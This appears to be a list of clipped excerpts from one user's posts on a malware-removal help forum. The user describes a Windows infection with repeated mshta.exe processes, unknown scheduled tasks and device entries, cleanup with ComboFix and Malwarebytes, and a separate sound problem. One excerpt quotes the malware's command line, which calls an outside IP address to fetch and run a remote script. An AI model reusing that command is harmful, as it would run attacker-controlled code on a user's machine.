Sorry if this looks like a bump, but there's a few things I need to add that have shown up since my original post:

I attempted to apply a Windows update a couple days ago, and my system appear to...

I usually leave WinAmp playing a streaming music station from Digitally Imported (http://www.di.fm/) when I go to sleep. When I woke up this morning, my speakers were playing one constant tone and my...

Everything seems good for now. Thanks again for the help.

Downloaded and ran Dial-a-Fix. I was able to access MS Update after the reboot.

Nothing to update for now.

Turned off System Restore, rebooted, and turned it back on. Uninstalled ComboFix.

The Windows update site claims that I have automatic updates activated already, which I believe is true because...

Ah, I see that before uninstalling ComboFix, it's smart to make sure the system's actually clean since CF quarantines and logs stuff. Do I need to make any last checks?

Manually deleted 7be78a09-26f67fae.

Attempted to download the appropriate drivers for the card, by my system still couldn't detect it, so the install failed. Solved on reboot, and I've got sound...

Manually deleted LostRun.exe.

Before I delete the 7be78a09-26f67fae...there's another file named 7be78a09-26f67fae.idx in the same location. Do I delete that as well?

If I recall correctly,...

Disabled AVG again and ran ComboFix with the script. ComboFix applied an update to itself, and didn't reboot my computer this time.

Downloaded the new Shockwave Player and the ESET application via...

Hrm. Just noticed that I have no Volume Control on my task bar.

'course if my system can't find any audio output, might be normal. Might not be.

Well, trying to install the ESET app or Shockwave Player, Internet Explorer returns:

Internet Explorer has closed this webpage to help protect your computer

A malfunctioning or malicious...

Having the same issues installing Shockwave Player as I did trying to install the ESET application.

On a related note, do you have any idea what might happen if ComboFix is still running when this AVG Anti-Virus starts itself back up? There's only an option to 'temporarily' disable the program, and...

Also, I just looked in my Device Manager again, and in addition to the 'afdfprmnnp' thing that has an exclamation mark on it, there's a new thing called 'catchme' with an exclamation mark on it.
...

Before I post the logs, some miscellany that occurred while I was waiting for assistance:

I ran a system search for 'afdfprmnnp', and I found a couple references to it (or another file by the same...

Alright, so get this: I put my rig back together in my dorm room after summer break, and everything seems to be working except for the sound. I try playing a streaming channel in WinAmp and get this...

Everything's still looking good. Thank you very much for the help!

Found over seventy tasks that I'm pretty sure I didn't set that came from one or the other of the two things in my previous post. Deleted them all.

I googled the 'funnypandashow.com' thing and it...

The command line for each individual mshta.exe I've got running right now gives:

mshta.exe http://85.234.191.60/88.php?olala=327228975368992
mshta.exe...

Would have edited my last post, but I can't on this forum. I did remove the anomalous files detected by MWB with the program; I wasn't aware it would generate another log, so here's that one:

...

Updated MWB and ran Full Scan. Log follows:

Yup, it's still goin' on. I was just being attentive to the part where I was supposed to wait four full days.

If it's worth mentioning, I've seen the mshta.exe file sizes go a bit above 14 K since...

For a few days now, the program mshta.exe has been appearing multiple times in my Task Manager, even if I end them all at any given time. I've seen as many as a couple dozen instances of the program....
